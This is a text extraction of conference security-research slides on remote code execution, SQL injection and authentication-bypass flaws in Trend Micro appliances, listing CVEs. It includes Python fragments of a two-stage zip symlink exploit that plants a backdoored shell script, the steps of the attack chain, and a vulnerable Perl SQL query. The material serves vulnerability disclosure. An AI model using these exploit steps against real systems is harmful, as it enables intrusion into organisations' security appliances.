  • 94. dlp_policy_upload.cgi zip extraction –Allows attackers to upload zip files that are extracted –Extracts into a predictable folder directory –Can’t use traversal attacks in the zip –However, we can extract evil.sh –How are we to exploit this ? 94
  • 96. dlp_policy_upload.cgi zip extraction Stage 1 – Upload the 1st zip to create the symlink zi = zipfile.ZipInfo() zi.filename = u'si' zi.external_attr |= 0120000 << 16L zi.compress_type = zipfile.ZIP_STORED z.writestr(zi, "/opt/TrendMicro/MinorityReport/bin/") 96
  • 97. dlp_policy_upload.cgi zip extraction Stage 2 – Upload the 2nd zip to write into the symlinked directory zi = zipfile.ZipInfo("si/dlp_kill.sh") zi.external_attr = 0777 << 16L z.writestr(zi, _get_bd()) 97
  • 98. dlp_policy_upload.cgi zip extraction 1. Reset the admin’s password back to ‘admin123’ 2. Login and upload 2 zip files 3. Extract the zip’s, overwriting a shell script 4. Trigger shell script from CGI 5. #Trend 98
  • 101. Bonus for #HITB2017AMS ! Proof of Concept exploit code for the following vulnerabilities affecting Trend Micro Threat Discovery Appliance: ▪ [CVE-2016-8584]::Session Generation Authentication Bypass ▪ [CVE-2016-7552]::Directory Traversal Authentication Bypass ▪ [CVE-2016-8586]::dlp_policy_upload.cgi Information Disclosure ▪ [CVE-2016-8585]::admin_sys_time.cgi Command Injection RCE ▪ [CVE-2016-8585]::detected_potential_files.cgi Command Injection RCE ▪ [CVE-2016-8587]::dlp_policy_upload.cgi Zip Extraction RCE 101
  • 102. But wait, there's more! ▪ [CVE-2016-8588]::hotfix_upload.cgi Command Injection RCE ▪ [CVE-2016-8589]::log_query_dae.cgi Command Injection RCE ▪ [CVE-2016-8590]::log_query_dlp.cgi Command Injection RCE ▪ [CVE-2016-8591]::log_query.cgi Command Injection RCE ▪ [CVE-2016-8592]::log_query_system.cgi Command Injection RCE ▪ [CVE-2016-8593]::upload.cgi File Upload RCE Finally, a pull request for a Metasploit module that uses CVE-2016-7552 and CVE-2016-7547 ! 102
  • 104. What is it? ▪ Central solution to secure mobile devices within an organization – Supports Android, iOS,Windows Phones, Blackberry – Policies based ▪ Under the hood – Windows IIS / Compiled CGI / MSSQL / PHP J ▪ How many vulnerabilities? – Found remote memory corruption pre-authenticated – Sitting on 80 zero-day’s, at least 10 are pre-authenticated – Authentication bypasses also exist in the target... ▪ But... 104
  • 105. It’s a zero-day, sorry! 105
  • 108. About ▪ Central enterprise solution to secure data within an organization – Provides encryption and data tagging – File versioning and backup – ACL on who can access what ▪ Under the hood – Linux CentOS Appliance – Lots of Perl code, not our favourite language! ▪ How many vulnerabilities? – 20 x Command Injection vulnerabilities discovered, using a similar pattern to the one patched byTrend Micro themselves – SQL Injection in the authentication, which was silently patched byTrend Micro! ▪ Allows an attacker to bypass the authentication 108
  • 109. Motivation Why did we pick this target? ▪ Because another researcher found a Code Injection in it and we have never tested Perl. It could be fun we said… 109
  • 110. Hunting for vulnerabilities ▪ Approach – Look at the vulnerable code pattern, and try to find every instance… 110
  • 111. Hunting for vulnerabilities $reqdata is our input… easy to grep the code for “system(“ ! 111
  • 112. Hunting for vulnerabilities ▪ Also, since we were tracing $reqdata as input, we found multiple SQL Injections while we were at it. However, most were parameterized ▪ The permissions on the database were strict, we couldn't leverage it for anything more than information disclosure… ▪ As it turns out, information disclosure was just what we needed... 112
  • 113. _get_user_hpassword SQL Injection in Controller/api/auth.pm: sub login_PUT { my ( $self, $c ) = @_; $c->model('DBI')->dbh()->{mysql_auto_reconnect} = 1; my $username = $c->req->data->{username}; my $user = Storage::User->new($username, 'osdp'); my $hpassword_expect = _get_user_hpassword($username); 113
  • 114. _get_user_hpassword SQL Injection sub _get_user_hpassword { my $dbh = Storage::DB->dbh( { db => 'osdp' } ); my $admin_name = shift; my $sql = qq{ SELECT DISTINCT hpassword FROM users WHERE login_name = '$admin_name' }; my ($user_password) = $dbh->selectrow_array($sql); 114
  • 116. Overall Results 0 10 20 30 40 50 60 70 80 Smart Protection Server Data Loss Prevention Manager Control Manager InterScan Web Security Threat Discovery Mobile Security for Enterprise SafeSync for Enterprise Total Affected Products Remote Code Execution SQL Injection Information Disclosure Elevation of Privileges Denial of Service 116
  • 117. Overall Results ▪ The research is still going on: – Total products tested so far: 11 – Average number of vulnerabilities per product: ~24 – Remote Code Execution vulnerabilities so far: 236 ▪ In all targets we tested, we found a way to gain remote code execution ▪ At least 2 failed patches: – 1 patch introduced a vulnerability – 1 patch failed to patch adequately ▪ In only 1 product was the database permissions correct, denying access to the underlying operating system from an SQL Injection ▪ InterScan had the highest number of code injection vulnerabilities ▪ Code review and/or reverse engineering was required for all targets 117
  • 118. Thanks! ▪ Trend Micro ▪ The Zero Day Initiative ▪ Hack inThe Box ▪ Offensive Security ▪ The motivators: @aloria, @quine, @Qkaiser, @korprit and @rgod777 ! 118
  • 119. Come and train with us 119
  • 120. Questions? Steven Seeley (mr_me) ▪ @steventseeley ▪ http://srcincite.io/ ▪ Roberto Suggi Liverani (malerisch) ▪ @malerisch ▪ http://blog.malerisch.net 120
  • 121. References ▪ https://qkaiser.github.io/pentesting/trendmicro/2016/08/08/trendmic ro-sps/ ▪ https://qkaiser.github.io/pentesting/trendmicro/2016/09/06/trendmic ro-safesync/ ▪ https://twitter.com/cogitoergor00t/status/771768758289494016 ▪ https://twitter.com/korprit/status/758356923779461120 ▪ https://www.youtube.com/watch?v=KWfIgq3iZ8A ▪ https://www.youtube.com/watch?v=9-906rJ2HXA 121